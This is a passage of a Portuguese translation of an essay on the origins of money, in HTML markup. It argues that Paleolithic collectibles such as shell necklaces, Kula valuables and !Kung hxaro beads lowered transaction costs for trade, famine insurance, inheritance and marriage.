&lt;p>O proto dinheiro1 usado por muitas tribos de caçadores e coletores é bem diferente do dinheiro moderno, agora serve um papel diferente na nossa cultura moderna, e tinha uma função provavelmente limitada a pequenas redes de troca e outras instituições locais discutidas abaixo. Chamarei esse dinheiro de colecionáveis ao invés de dinheiro propriamente dito. Os termos usados na literatura antropológica para tais objetos são geralmente ou “dinheiro”, definido mais amplamente do que apenas notas e moedas emitidas por governos todavia mais estreitamente do que “colecionável” como usamos estreitamente neste artigo, ou o vago “bem de valor”, que certas vezes se refere a itens que não são colecionáveis no sentido dessa dissertação. As razões para escolher o termo colecionável ante outros possíveis nomes para proto dinheiro se tornarão mais aparentes. Os colecionáveis tinham &lt;a href="#attributes-of-collectibles">atributos&lt;/a>
bem específicos. Eles não eram meramente simbólicos. Enquanto os objetos concretos e os atributos avaliados como colecionáveis poderiam variar entre as culturas, eles estavam longe de serem arbitrários. A primeira e mais importante função evolucionária dos colecionáveis era como um meio de armazenar e transferir riqueza. Alguns tipos de colecionáveis, como o wampum, poderiam ter sido bastante funcionais como o dinheiro da forma que nós modernos conhecemos, onde as condições econômicas e sociais estimularam o comércio. Ocasionalmente usarei os termos “proto dinheiro” e “dinheiro primitivo” intercambiavelmente com “colecionável” ao discutir meios de transferência de riqueza antes do sistema de cunhagem.&lt;/p>
&lt;h2 id="ganhos-de-transferência-de-riqueza">Ganhos de Transferência de Riqueza&lt;/h2>
&lt;p>Pessoas, clãs ou tribos fazem trocas voluntariamente porque os dois lados acreditam estar ganhando algo. Suas crenças a respeito do valor podem mudar depois da troca, por exemplo quando adquirem experiência com o bem ou serviço. Suas crenças na hora da troca, embora imprecisas até certa medida quanto ao valor, ainda são geralmente corretas quanto à existência de ganho. Especialmente no início do comércio inter tribal, restrito a itens de alto valor, havia um forte incentivo para cada parte acertar suas crenças. Dessa forma o comércio quase sempre beneficiou ambas as partes. O comércio criava tanto valor como o ato físico de fazer algo.&lt;/p>
&lt;p>Porque indivíduos, clãs, e tribos variam em suas preferências, variam em sua habilidade de satisfazer essas preferências, e variam nas crenças que têm a respeito dessas habilidades e preferências e os objetos que são consequentes delas, há sempre ganhos a serem obtidos através do comércio. Se os custos de fazer essas trocas – custos de transação – são baixos o suficiente para fazer com que os negócios valham a pena é outra questão. Em nossa civilização, temos muito mais possibilidades de troca do que durante a maior parte da história humana. No entanto, como veremos alguns tipo de trocas valiam mais do que os custos de transação, para algumas culturas, provavelmente voltando na origem do &lt;em>homo sapiens sapiens&lt;/em>.&lt;/p>
&lt;p>Trocas voluntárias não são os únicos tipos de transação que se beneficiam de baixos custos de transação. Essa é a chave para entender a origem e evolução do dinheiro. Heranças de família poderiam ser usadas como garantia para remover o risco do crédito de trocas atrasadas. A habilidade de uma tribo vitoriosa de extrair tributos de uma derrotada era de grande benefício ao vencedor. A habilidade do vencedor de coletar tributos beneficiou-se dos mesmos tipos de técnicas de custo de transação que o comércio. Da mesma forma que o requerente em uma avaliação dos danos por ofensas contra os costumes ou a lei, e grupos de parentesco que organizam um casamento. Os familiares também se beneficiaram de presentes de riqueza oportunos e pacíficos através de herança. Os principais acontecimentos da vida humana que as culturas modernas segregam do mundo do comércio beneficiaram-se não menos que o comércio, e algumas vezes até mais, de técnicas que baixaram os custos de transação. Nenhuma dessas técnicas foi mais efetiva, importante, ou anterior que dinheiro primitivo – colecionáveis.&lt;/p>
&lt;p>Quando o &lt;em>H. sapiens sapiens&lt;/em> deslocou o &lt;em>H. sapiens neanderthalis&lt;/em>, explosões populacionais seguiram-se. Evidências da ocupação1 na Europa, c. 40.000 a 35.000 A.P, indicam que o &lt;em>H. sapiens sapiens&lt;/em> aumentou a capacidade de carga de seu ambiente por um fator de 10 sobre o &lt;em>H. sapiens neanderthalis&lt;/em> – isto é, a densidade populacional cresceu dez vezes&lt;!-- raw HTML omitted -->&lt;a href="#fnC94">[C94]&lt;/a>
&lt;!-- raw HTML omitted -->. Não somente isso, os recém-chegados tiveram tempo livre para criar a primeira arte do mundo – como as maravilhosas pinturas das cavernas, uma ampla variedade de figuras bem trabalhadas – e, claro, os maravilhosos pingentes e colares de conchas marinhas, dentes, e casca de ovos.&lt;/p>
&lt;p>Esses objetos não eram decorações inúteis. Transferências de riqueza recentemente efetivas, possibilitadas por colecionáveis assim como outros avanços prováveis da época, linguagem, criaram novas instituições culturais que, muito provavelmente, desempenharam um papel principal no aumento da capacidade de carga&lt;/p>
&lt;p>Os recém-chegados, &lt;em>H. sapiens sapiens&lt;/em>, tinham o cérebro do mesmo tamanho, ossos mais fracos, e músculos menores do que os Neandertais. Suas ferramentas de caça eram mais sofisticadas, mas em 35.000 A.P elas eram basicamente as mesmas ferramentas – não eram nem duas vezes melhores provavelmente, muito menos dez vezes mais eficazes. A maior diferença pode ter sido as transferências de riqueza tornadas mais efetivas ou até possíveis pelos colecionáveis. O &lt;em>H. sapiens sapiens&lt;/em> tinha prazer em colecionar conchas, fazer jóias com elas, exibi-las, e trocá-las. O &lt;em>H. sapiens neanderthalis&lt;/em> não. A mesma dinâmica teria estado em funcionamento, dezenas de milhares de anos anteriormente, no Serengeti, quando o &lt;em>H. sapiens sapiens&lt;/em> apareceu pela primeira vez naquele turbilhão dinâmico de evolução humana, a África.&lt;/p>
&lt;p>Descreveremos como os colecionáveis diminuíram os custos de transação em cada tipo de transferência de riqueza – no presente gratuito da herança, no comércio mútuo voluntário ou casamento, e nas transferências involuntárias de ajustes legais e tributos.&lt;/p>
&lt;p>Todos esses tipos de transferência de valor ocorreram em muitas culturas da pré história humana, provavelmente desde a origem do &lt;em>Homo sapiens sapiens&lt;/em>. Os ganhos a serem obtidos, por um ou ambos os lados, a partir dessas transferências de riqueza de grandes eventos da vida, eram tão grandes que elas ocorriam apesar dos altos custos de transação. Comparado ao dinheiro moderno, o dinheiro primitivo tinha uma velocidade muito pequena – poderia ser transferido apenas um punhado de vezes na vida média de um indivíduo. No entanto, um colecionável durável, o que hoje chamaríamos de herança, poderia persistir por muitas gerações e agregar valor substancial em cada transferência – muitas vezes possibilitando até a transação em absoluto. As tribos, portanto, gastavam bastante tempo em tarefas aparentemente frívolas de fabricar e explorar por matéria-prima de jóias e outros colecionáveis&lt;/p>
&lt;h3 id="o-circuito-kula">O Circuito Kula&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="KulaRing" src="https://cypherpunks.com.br/stuff/KulaRing.gif" loading="lazy"
width="565" height="671"
/>
&lt;em>A rede de trocas de Kula da Melanésia pré-colonial. Os objetos de valor de kula dobraram como dinheiro de “alta potência” e mnemônicos para estórias e fofoca. Muitos dos bens trocados, a maioria produtos agrícolas, estavam disponíveis em diferentes épocas, e então não poderiam ser trocados em espécie. Os colecionáveis de Kula resolviam esse problema da dupla coincidência como um dinheiro custosamente inforjavel, vestível (para a segurança), e circulado (literalmente). Colares circulavam no sentido horário, braceletes no sentido anti-horário, e um padrão bastante regular. Ao resolver o problema da dupla coincidência um bracelete ou colar se provaria mais valioso que seu custo depois de apenas algumas trocas, mas poderia circular por décadas. As fofocas e estórias sobre os donos anteriores dos colecionáveis ainda fornecia informações sobre crédito e liquidez upstream1. Em outras culturas Neolíticas, os colecionáveis, usualmente conchas, circularam em um padrão menos regular mas tinham propósitos e atributos similares.&lt;!-- raw HTML omitted -->&lt;a href="#fnL94">[L94]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/em>&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="KulaRingArmshellMwali" src="https://cypherpunks.com.br/stuff/KulaRingArmshellMwali.jpg" loading="lazy"
width="561" height="325"
/>
&lt;em>Bracelete de Kula (mwali).&lt;/em>&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="KulaRingNecklacesbagi" src="https://cypherpunks.com.br/stuff/KulaRingNecklacesbagi.jpg" loading="lazy"
width="443" height="325"
/>
&lt;em>Colares de Kula (bagi).&lt;/em>&lt;/p>
&lt;p>Para qualquer instituição na qual a transferência de riqueza é um componente importante, nós perguntaremos as seguintes questões:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Qual coincidência de tempo entre o evento, a oferta do bem transferido, e a demanda pelo bem transferido foi necessária? Quão improvável ou quão alta é a barreira à transferência de riqueza que a improbabilidade da coincidência representa?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>As transferências de riqueza formariam um loop fechado de colecionáveis baseados apenas naquela instituição, ou seriam necessárias outras instituições de transferência de riqueza para completar os ciclos de circulação? Levar a sério o gráfico de fluxo real da circulação monetária é crítico para entender o aparecimento do dinheiro. A circulação geral entre uma ampla variedade de trocas não existiu e nem existiria na maior parte da pré história humana. Sem loops completos e repetidos os colecionáveis não circulariam e perderiam seu valor. Um colecionável, para valer a pena fazer, teria que adquirir valor em transações suficientes para amortizar seu custo&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Devemos primeiro examinar o tipo de transferência mais familiar e economicamente importante para nós hoje – o comércio.&lt;/p>
&lt;h2 id="seguro-contra-a-fome">Seguro contra a fome&lt;/h2>
&lt;p>Bruce Winterhalder&lt;!-- raw HTML omitted -->&lt;a href="#fnW98">[W98]&lt;/a>
&lt;!-- raw HTML omitted --> pesquisa modelos de como e por quê a comida é algumas vezes transferida entre animais: roubo tolerado, produção/adulação1/oportunismo, subsistência sensível ao risco, mutualismo de subproduto, reciprocidade atrasada, comércio/troca não em espécie, e outros modelos de seleção (incluindo altruísmo familiar). Aqui focaremos em subsistência sensível ao risco, reciprocidade atrasada, e comércio (trocas não em espécie). Argumentamos que substituindo a troca de comida por colecionáveis para reciprocidade atrasada pode aumentar o compartilhamento de comida. Isso acontece ao mitigar os riscos de uma oferta variável de comida enquanto evitam os problemas largamente intransponíveis de reciprocidade atrasada entre bandos. Trataremos do altruísmo familiar e roubo (tolerado ou não) em contextos mais amplos abaixo.&lt;/p>
&lt;p>O alimento é muito mais valioso para pessoas famintas do que para os bem alimentados. Se o homem faminto pode salvar sua vida ao trocar seus bens mais valiosos, pode valer pra ele meses ou até anos de trabalho que podem demorar a recuperar aquele valor. Ele vai usualmente considerar a sua vida muito mais valiosa do que o valor sentimental de suas heranças. Como a gordura em si, os colecionáveis podem providenciar um seguro contra a escassez de alimentos. A fome da escassez local poderia ser evitada pelo menos de duas maneiras diferentes de troca – por alimento em si, ou por direitos de caça ou forrageamento.&lt;/p>
&lt;p>Mesmo assim, os custos de transação eram geralmente muito altos – os bandos eram muito mais propensos a lutar do que confiar uns nos outros. O bando faminto que não achasse sua própria comida usualmente morria de fome1. No entanto, se os custos de transação pudessem ser baixados, ao diminuir a necessidade de confiança entre os bandos, o alimento que valia um dia de trabalho para um bando poderia valer alguns meses de trabalho para o bando faminto.&lt;/p>
&lt;p>As trocas, locais, mas extremamente valiosas eram, argumenta esse ensaio, possibilitadas dentre várias culturas pelo advento dos colecionáveis, no tempo do Paleolítico Superior. Os colecionáveis substituíram os relacionamentos de confiança de longo prazo necessários, mas inexistentes. Se tivesse existido um alto grau de interação sustentada e confiança entre tribos, ou indivíduos de diferentes tribos, para que pudessem dar crédito sem garantias um ao outro, isso teria estimulado um escambo atrasado1. No entanto, tal nível de confiança naquele tempo era altamente implausível – pelas razões apresentadas acima a respeito de altruísmo recíproco, confirmados por evidências empíricas de que a maioria das relações tribais dos coletores/caçadores têm sido observadas como bastante antagônicas. Bandos caçadores/coletores usualmente se dividiam em bandos menores durante a maior parte do ano, e se reuniam em “agregados”, algo como as feiras medievais Europeias, durante algumas semanas ao longo do ano. Apesar da falta de confiança entre os bandos, um importante comércio de materiais, do tipo ilustrado na figura que acompanha, quase certamente ocorreu na Europa e provavelmente em outros lugares, tais como com os grandes caçadores da América e África.&lt;/p>
&lt;p>O cenário ilustrado pela figura acompanhante é hipotético, mas seria muito surpreendente se não tivesse ocorrido. Enquanto muitos Europeus até no Paleolítico apreciaram usar colares de conchas, muitos viviam no interior e faziam seus colares dos dentes de suas presas. Pederneiras, machados, peles, e outros colecionáveis também eram muito provavelmente usados como meios de troca.&lt;/p>
&lt;p>Renas, bisões, e outras presas humanas migravam em diferentes épocas do ano. Tribos diferentes se especializaram em presas diferentes, ao ponto que 90%, e algumas vezes tanto quanto 99%, dos restos mortais1 de muitos sítios durante o Paleolítico na Europa vem de uma única espécie&lt;!-- raw HTML omitted -->&lt;a href="#fnC94">[C94]&lt;/a>
&lt;!-- raw HTML omitted -->. Isso indica pelo menos uma especialização sazonal e talvez até especialização integral por uma tribo em uma única espécie. Na medida em que se especializaram, os membros de uma única tribo teriam se tornado peritos no comportamento, hábitos de migração, e outros padrões relativos àquela particular espécie de presa, assim como nas ferramentas e técnicas especializadas para caçá-la. Algumas tribos observadas em tempos recentes são conhecidas por terem se especializado. Algumas tribos de Índios Norte Americanos se especializaram respectivamente em caçar bisões, antílopes, e na pesca de salmão. No norte da Rússia e partes da Finlândia, muitas tribos, incluindo os Lapões ainda hoje, especializaram-se em pastorear um única espécie de Rena.&lt;/p>
&lt;p>Tal especialização era provavelmente muito maior quando mais presas maiores (cavalo, auroque, alce gigante, bisão, preguiça gigante, mastodonte, mamute, zebra, elefante, hipopótamo, girafa, boi almiscarado, etc.) vagueavam pela América do Norte, Europa, e África em grandes rebanhos durante o Paleolítico. Grandes animais selvagens sem medo de seres humanos já não existem mais. Durante o Paleolítico eles foram ou extintos ou se adaptaram a ter medos dos seres humanos e seus projéteis. No entanto, durante a maior parte do período de vida do &lt;em>H. sapiens sapiens&lt;/em> esses rebanhos eram abundantes e escolhas fáceis para caçadores especializados. De acordo com a nossa teoria da predação baseada no comércio, a especialização era muito mais provável quando grandes presas percorriam a América do Norte, a Europa e a África em grandes rebanhos durante o Paleolítico. A divisão do trabalho baseada no comércio na caça entre tribos é consistente com (embora não confirmada com segurança) a evidência arqueológica do Paleolítico na Europa.&lt;/p>
&lt;p>Esses bandos migratórios, seguindo seus rebanhos, frequentemente interagiam, criando muitas oportunidades para o comércio. Índios Americanos preservavam alimentos secando, fazendo pemmican, e assim por diante, de maneiras que duravam alguns meses mas normalmente não um ano inteiro. Essa comida era comumente trocada, juntamente com peles, armas, e colecionáveis. Geralmente esse comércio ocorria durante expedições anuais de trocas&lt;!-- raw HTML omitted -->&lt;a href="#fnT01">[T01]&lt;/a>
&lt;!-- raw HTML omitted -->.&lt;/p>
&lt;p>Grandes rebanhos de animais migravam através de um território somente duas vezes por ano, com uma janela, na maioria das vezes, de um ou dois meses. Sem nenhuma outra fonte de proteína que não a sua própria espécie de presa, essas tribos especialistas teriam morrido de fome. O alto grau de especialização demonstrado nos registros arqueológicos poderiam somente ter ocorrido se houvesse comércio.&lt;/p>
&lt;p>Assim, mesmo que o escambo de carne com compensação de tempo fosse o único tipo de comércio, isso é suficiente para tornar o uso de colecionáveis bastante interessante. Os colares, pederneiras, e quaisquer outros objetos usados como dinheiro circulam em um loop fechado, indo e voltando, em quantidades aproximadamente iguais desde que o valor da carne negociada permaneça aproximadamente igual. Note que não é suficiente, para que a teoria dos colecionáveis apresentadas neste trabalho esteja correta, que trocas benéficas únicas tenham sido possíveis. Nós devemos identificar loops fechados de comércio mutuamente benéficos. Com loops fechados os colecionáveis continuam a circular, amortizando seus custos.&lt;/p>
&lt;p>Como mencionado, sabemos através de restos arqueológicos que muitas tribos se especializaram em únicas espécies de grandes presas. Essa especialização foi no mínimo sazonal; se houve trocas mais extensivas pode ter sido integral. Ao se tornar perita nos hábitos e padrões de migração, e nos melhores métodos de derrubada, uma tribo obtém enormes benefícios produtivos. Esses benefícios, no entanto, seriam normalmente inatingíveis, pois se especializar em um única espécie significaria ficar sem comida pela maior parte do ano. A divisão do trabalho entre as tribos compensou – e o comércio tornou isso possível. O suprimento de comida quase dobraria através do comércio apenas entre duas tribos complementares. Existiam, entretanto, ao invés de duas espécies de presa, muitas vezes até uma dúzia migraram através da maioria dos territórios de caça em áreas como o Serengeti e o estepe Europeu. A quantidade de carne disponível para uma tribo especializada seria, portanto, mais do que dobrada com tal comércio entre um punhado de tribos vizinhas. Além disso, a carne extra estaria lá quando mais se precisasse - quando a carne das presas da tribo já tivesse sido comida, e sem comida os caçadores morreriam de fome.&lt;/p>
&lt;p>Então havia pelo menos quatro ganhos, ou fontes de excedente, de um ciclo de comércio tão simples quanto duas espécies de presas e duas trocas não simultâneas, mas compensadoras. Esses ganhos são distintos mas não necessariamente independentes:&lt;/p>
&lt;ol>
&lt;li>Uma fonte de carne disponível em uma época do ano em que, de outra forma, passaria-se fome.&lt;/li>
&lt;li>Um aumento na oferta total de carne – eles negociavam o excedente além do que poderiam comer ou guardar; o que não trocassem iria fora.&lt;/li>
&lt;li>Um aumento na variedade nutricional da carne, ao comer diferentes tipos de carne.&lt;/li>
&lt;li>Produtividade aumentada pela especialização em uma única espécie de presa.&lt;/li>
&lt;/ol>
&lt;p>Fazer ou guardar colecionáveis para trocar por alimento não era a única maneira de se assegurar contra tempos ruins. Talvez até mais comum, especialmente onde não existiam grandes presas, era a territorialidade combinada com o comércio de direitos de forrageamento. Isso pode ser observado até em algumas culturas restantes de caçadores/coletores que existem hoje.&lt;/p>
&lt;p>Os !Kung San do Sul da África, como todos outros remanescentes modernos das culturas de caçadores-coletores, vivem em terras marginais. Eles não têm oportunidade de ser especialistas mas devem pegar os parcos restos disponíveis. Assim, eles podem estar bem descaracterizados das muitas culturas ancestrais de caçadores-coletores, e descaracterizados do &lt;em>Homo sapien sapiens&lt;/em> original, que primeiramente tomou as terras mais exuberantes e melhores rotas de caça do &lt;em>Homo sapiens neanderthalis&lt;/em> e somente muito depois expulsou os Neandertais das terras marginais. No entanto, apesar de sua severa deficiência ecológica, os !Kung usam colecionáveis como itens de troca.&lt;/p>
&lt;p>Como a maioria dos caçadores-coletores, os !Kung passam a maior parte do ano em bandos pequenos e dispersos e algumas semanas do ano em agregação com vários outros bandos. A agregação é como uma feira com algumas características a mais – o comércio é realizado, as alianças são cimentadas, as parcerias fortalecidas e os casamentos transacionados. A preparação para a agregação é cheia de manufatura de itens comercializáveis, parcialmente utilitários mas majoritariamente de natureza colecionável. O sistema de troca, chamado pelo !Kung de &lt;em>hxaro&lt;/em>, envolve um troca substancial em jóias de contas, incluindo pingentes de casca de ovo de avestruz bastante semelhantes aos encontrados na África há 40.000 anos.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="HxaroExchangeKinship" src="https://cypherpunks.com.br/stuff/HxaroExchangeKinship.gif" loading="lazy"
width="565" height="430"
/>
&lt;em>&lt;a href="http://www.mpi-fg-koeln.mpg.de/~lk/netvis/kunggenetic.html" target="_blank" rel="noopener noreferrer">Padrão de trocas hxaro e relações familiares&lt;/a>
entre tribos vizinhas dos caçadores-coletores !Kung San. (em azul escuro: somente troca | em vermelho: somente parentesco | em azul-turquesa: ambos)&lt;/em>&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="KungSanNecklace" src="https://cypherpunks.com.br/stuff/KungSanNecklace.gif" loading="lazy"
width="159" height="240"
/>
&lt;em>Colares usados nas trocas hxaro.&lt;/em>&lt;/p>
&lt;p>Uma das coisas mais importantes que os !Kung compram e vendem com seus colecionáveis são os direitos abstratos de entrar no território de outro bando e caçar ou coletar alimentos lá. O comércio desses direitos é especialmente vivo durante a escassez local, que pode ser aliviada pela busca de alimentos no território de um vizinho.&lt;!-- raw HTML omitted -->&lt;a href="#fnW77">[W77]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;a href="#fnW82">[W82]&lt;/a>
&lt;!-- raw HTML omitted --> Os bandos de !Kung marcam seus territórios com flechas; invadir sem ter comprado o direito de entrar e forragear equivale a uma declaração de guerra. Como o comércio de alimentos discutido acima, o uso de colecionáveis para adquirir direitos de forrageamento constitui uma “política de seguro contra a fome”, para usar a frase de Stanley Ambrose&lt;!-- raw HTML omitted -->&lt;a href="#fnA98">[A98]&lt;/a>
&lt;!-- raw HTML omitted -->.&lt;/p>
&lt;p>Ainda que humanos anatomicamente modernos certamente tinham pensamento, linguagem, e alguma habilidade de planejamento, teria sido pouco necessário pensamento consciente ou linguagem, e muito pouco planejamento, para gerar comércio. Não era necessário os membros das tribos raciocinarem sobre os benefícios de nada além de uma única troca. Para criar essa instituição teria sido suficiente as pessoas seguirem seus instintos de fazer ou obter colecionáveis com as &lt;a href="#attributes-of-collectibles">características destacadas abaixo&lt;/a>
(como indicado por observações representativas que fazem estimativas aproximadas para estas características). Isso é, em vários níveis, verdadeiro nas outras instituições que estudaremos – elas evoluíram, ao invés de serem conscientemente projetadas. Ninguém participando dos rituais da instituição teria explicado sua função em termos de última função evolutiva; em vez disso, eles explicavam em termos de uma ampla variedade de mitologias que serviam mais como motivadores imediatos de comportamento do que como teorias de finalidade ou origem.&lt;/p>
&lt;p>A evidência direta de trocas em alimentos há muito decaiu. Poderemos, no futuro, encontrar mais evidências diretas do que há disponível hoje para este artigo, através da comparação de restos de caça em uma tribo com os padrões de consumo em outra tribo – a parte mais difícil dessa tarefa é provavelmente identificar as fronteiras de diferentes tribos ou grupos familiares. De acordo com nossa teoria, tal comércio de carne de uma tribo com outra era comum em muitas partes do mundo durante o Paleolítico onde ocorria a caça em grande escala e especializada em grandes presas.&lt;/p>
&lt;p>Atualmente, temos extensivas evidências indiretas de trocas, através do movimento dos colecionáveis em si. Felizmente existe uma boa correlação entre a durabilidade desejável para os colecionáveis e as condições sob as quais um artefato sobreviveu para ser encontrado pelos arqueólogos de hoje. No início do Paleolítico, quando toda a movimentação humana era a pé, nós temos casos de conchas marinhas perfuradas encontradas até 500 quilômetros de distância da fonte mais próxima&lt;!-- raw HTML omitted -->&lt;a href="#fnC94">[C94]&lt;/a>
&lt;!-- raw HTML omitted -->. Houve um movimento de longa distância similar de sílex.&lt;/p>
&lt;p>Infelizmente, o comércio era severamente restringido por custos altos de transação na maioria das vezes e lugares. A barreira primária era o antagonismo entre as tribos. A relação predominante entre as tribos era de desconfiança nos dias bons e violência absoluta em dias ruins. Somente os laços de casamento ou de parentesco poderiam levar as tribos a um relacionamento de confiança, embora apenas ocasionalmente e de alcance limitado. A baixa capacidade de proteger a propriedade, até mesmo os colecionáveis usados na pessoa ou enterrados em cachês bem escondidos, significava que os colecionáveis precisavam amortizar seus custos em poucas transações.&lt;/p>
&lt;p>O comércio, então, não era o único tipo de transferência de riqueza, e provavelmente não era o tipo mais importante durante a longa pré-história humana quando os altos custos de transação evitavam o desenvolvimento dos tipos de mercados, firmas, e outras instituições econômicas que hoje subestimamos&lt;!-- raw HTML omitted -->&lt;a href="#fnL94">[L94]&lt;/a>
&lt;!-- raw HTML omitted -->. Sob nossas grandes instituições econômicas estão instituições muito mais antigas envolvidas com transferência de riqueza – em tempos pré-históricos, as principais formas de transferência de riqueza. Todas essas instituições distinguiram o &lt;em>Homo sapiens sapiens&lt;/em> de animais anteriores. Nós agora nos voltamos para um dos tipos mais básicos de transferência de riqueza que nós humanos subestimamos mas nenhum outro animal tem – passar riqueza para a próxima geração.&lt;/p>
&lt;h2 id="altruísmo-familiar-além-do-túmulo">Altruísmo Familiar Além do Túmulo&lt;/h2>
&lt;p>A coincidência em tempo e local de oferta e demanda para o comércio era rara – tanto, que a maioria dos tipos de comércio e instituições econômicas baseadas em troca que hoje subestimamos não poderia existir. Mais improvável ainda era a coincidência tripla de oferta, demanda, com um grande evento para um grupo de parentesco – a formação de uma nova família, morte, crime, vitória ou derrota em guerra. Como veremos, clãs, e indivíduos muito se beneficiaram de oportunas transferências de riqueza durante esses eventos. Essa transferência de riqueza, por sua vez, era muito menos dispendiosa quando se tratava da transferência de uma reserva de riqueza mais durável e geral do que os consumíveis ou ferramentas projetadas para outros fins. A demanda por uma reserva de valor durável e geral para o uso nessas instituições era, então, até mais urgente do que a troca em si. Além disso, as instituições do casamento, herança, resolução de disputas, e tributos podem anteceder o comércio intertribal, e envolveu para a maioria das tribos uma maior transferência de riqueza do que o comércio. Essas instituições, portanto, mais do que o comércio serviram como o motivadoras e incubadoras das primeiras formas de dinheiro primitivo.&lt;/p>
&lt;p>Na maioria das tribos de caçadores-coletores essa riqueza vinha em uma forma que a nós, modernos ridiculamente ricos, parece trivial – uma coleção de utensílios de madeira, ferramentas e armas de sílex e ossos, conchas em cordas, talvez uma cabana e em climas mais frios algumas peles velhas e sujas. Algumas vezes poderia ser tudo carregado na pessoa. No entanto, essas diversas escolhas eram riqueza para os caçadores-coletores não menos do que imóveis, ações, e títulos são riqueza para nós. Para o caçador-coletor, ferramentas e algumas vezes roupas quentes eram necessários à sobrevivência. Muitos dos itens eram colecionáveis altamente valorizados que asseguravam contra a fome, compravam parceiros, e poderiam substituir o massacre ou a fome em um caso de guerra e derrota. A habilidade de transferir o capital de sobrevivência para seus descendentes era outra vantagem que o &lt;em>Homo sapiens sapiens&lt;/em> tinha sobre animais anteriores. Além disso, um habilidoso membro de uma tribo ou clã poderia acumular os excessos de riqueza do, ocasional mas cumulativo ao longo da vida, comércio de consumíveis excedentes por riqueza durável, em especial os colecionáveis. Uma vantagem temporária de aptidão poderia ser traduzida em uma vantagem de aptidão mais durável para o descendente.&lt;/p>
&lt;p>Outra forma de riqueza, escondida dos arqueólogos, era títulos de ofícios. Tais posições sociais eram mais valiosas do que formas tangíveis de riqueza em muitas culturas de caçadores-coletores. Exemplos de tais posições incluíam líderes de clã, líderes de grupos de guerra, líderes de grupo de caça, associação em parcerias de comércio de longo prazo (com uma pessoa em particular em um clã ou tribo vizinha), parteiras e curandeiros religiosos. Geralmente os colecionáveis não somente personificavam riqueza, mas também serviam como um mnemônico, representando um título a uma posição no clã de responsabilidade e privilégio. Após a morte, para manter a ordem, os herdeiros de tais posições tinham que ser rápida e claramente determinados. Atrasos poderiam gerar conflitos viciosos. Assim, um evento comum era a festa funerária, na qual o falecido era festejado enquanto ambas formas de riqueza, tangíveis e intangíveis, eram distribuídas para os descendentes por costume, tomadores de decisão do clã, ou a vontade do falecido.&lt;/p>
&lt;p>Outros tipos de presentes gratuitos eram bastante raros nas culturas pré-modernas, com apontado por Marcel Mauss&lt;!-- raw HTML omitted -->&lt;a href="#fnM50">[M50]&lt;/a>
&lt;!-- raw HTML omitted --> e outros antropólogos. Aparentemente presentes gratuitos invocavam uma obrigação no destinatário. Antes da lei contratual, essa obrigação implícita do &amp;ldquo;presente&amp;rdquo;, juntamente com a desonra e punição da comunidade, se a obrigação implícita não fosse cumprida, talvez fosse o motivador mais comum de reciprocidade nas trocas atrasadas, e ainda é comum na variedade de favores informais que fazemos uns para os outros. Herança e outras formas de altruísmo familiar eram as únicas formas amplamente praticadas do que nós modernos chamamos propriamente de presente, ou seja, um presente que não impõe nenhuma obrigação ao recebedor.&lt;/p>
&lt;p>Os primeiros comerciantes e missionários ocidentais, que geralmente enxergavam os nativos como primitivos infantis, algumas vezes chamavam seu pagamento de tributos de “presentes” e comércio de “troca de presentes”, como se eles fossem mais parecidos com as trocas de presentes de Natal e aniversário de crianças ocidentais do que com as obrigações contratuais e tributárias dos adultos. Parcialmente isso pode ter sido reflexo do preconceito, e parcialmente pelo fato de que no Ocidente naquele tempo as obrigações eram usualmente formalizadas na escrita, a qual faltava aos nativos. Os ocidentais geralmente traduziam a rica variedade de palavras que os nativos tinham para suas instituições de intercâmbio, direitos e obrigações como &amp;ldquo;presentes&amp;rdquo;. Os colonos franceses do século XVII na América estavam dispersos entre populações muito maiores de tribos indígenas, e muitas vezes se viram pagando tributo a essas tribos. Chamar esses pagamentos de &amp;ldquo;presentes&amp;rdquo; era uma maneira de eles livrarem a cara de outros europeus que não enfrentaram essa necessidade e a consideraram covarde.&lt;/p>
&lt;p>Mauss e os antropólogos modernos infelizmente mantiveram essa terminologia. O humano não civilizado é ainda como uma criança, mas agora inocente como uma criança, uma criatura de superioridade moral que não se rebaixaria ao no nosso tipo de base, transações econômicas de sangue frio. No entanto, no Ocidente, especialmente na terminologia oficial usada para as leis que cobrem transações, um ”presente” se refere a uma transferência que não impõe obrigação. Ao se deparar com discussões antropológicas sobre &amp;ldquo;troca de presentes&amp;rdquo;, essas advertências devem ser mantidas em mente – os antropólogos modernos não estão se referindo aos presentes gratuitos ou informais aos quais comumente nos referimos em nosso uso moderno do termo &amp;ldquo;presente&amp;rdquo;. Referem-se, antes, a qualquer um de uma grande variedade de sistemas, muitas vezes bastante sofisticados, de direitos e obrigações envolvidos em transferências de riqueza. As únicas grandes transações nas culturas pré-históricas similares ao nosso presente moderno, em que não era em si uma obrigação amplamente reconhecida nem uma imposição no recebedor, eram pais ou parentes cuidando de seus filhos e herança.(Uma exceção era que o título herdado de uma posição impunha as responsabilidades da posição sobre o herdeiro, bem como seus privilégios).&lt;/p>
&lt;p>A herança poderia proceder por muitas gerações ininterruptamente, mas não formava por sí um ciclo fechado de transferência de colecionáveis. Heranças eram apenas valiosas se eventualmente fossem usadas para outras coisas. Elas eram geralmente usadas em transações de casamento entre clãs que poderiam formar um ciclo fechado de colecionáveis.&lt;/p>
&lt;h2 id="o-comércio-familiar">O Comércio Familiar&lt;/h2>
&lt;p>Um exemplo primitivo e importante de uma rede de comércio de ciclo fechado tornada possível por colecionáveis envolve o investimento muito mais alto que os humanos fazem em criar a prole do que nossos parentes primatas, e a instituição humana relacionada do casamento. Combinar arranjos de longo-prazo para para acasalamento e criação de filhos, negociados entre clãs, com transferência de riqueza, o casamento é um universal humano e provavelmente remonta ao primeiro &lt;em>Homo sapiens sapiens&lt;/em>.&lt;/p>
&lt;p>O investimento parental é um caso de longo-prazo e quase de uma chance só – não há tempo para interações repetidas. O divórcio de um pai negligente ou uma esposa infiel geralmente representava vários anos de tempo desperdiçado, em termos de aptidão genética, pela parte rejeitada. Fidelidade e comprometimento às crianças eram primariamente compelidos pelos parentes1 – o clã. O casamento era um contrato entre clãs que usualmente incluíam tais promessas de fidelidade e comprometimento assim como transferência de riqueza.&lt;/p>
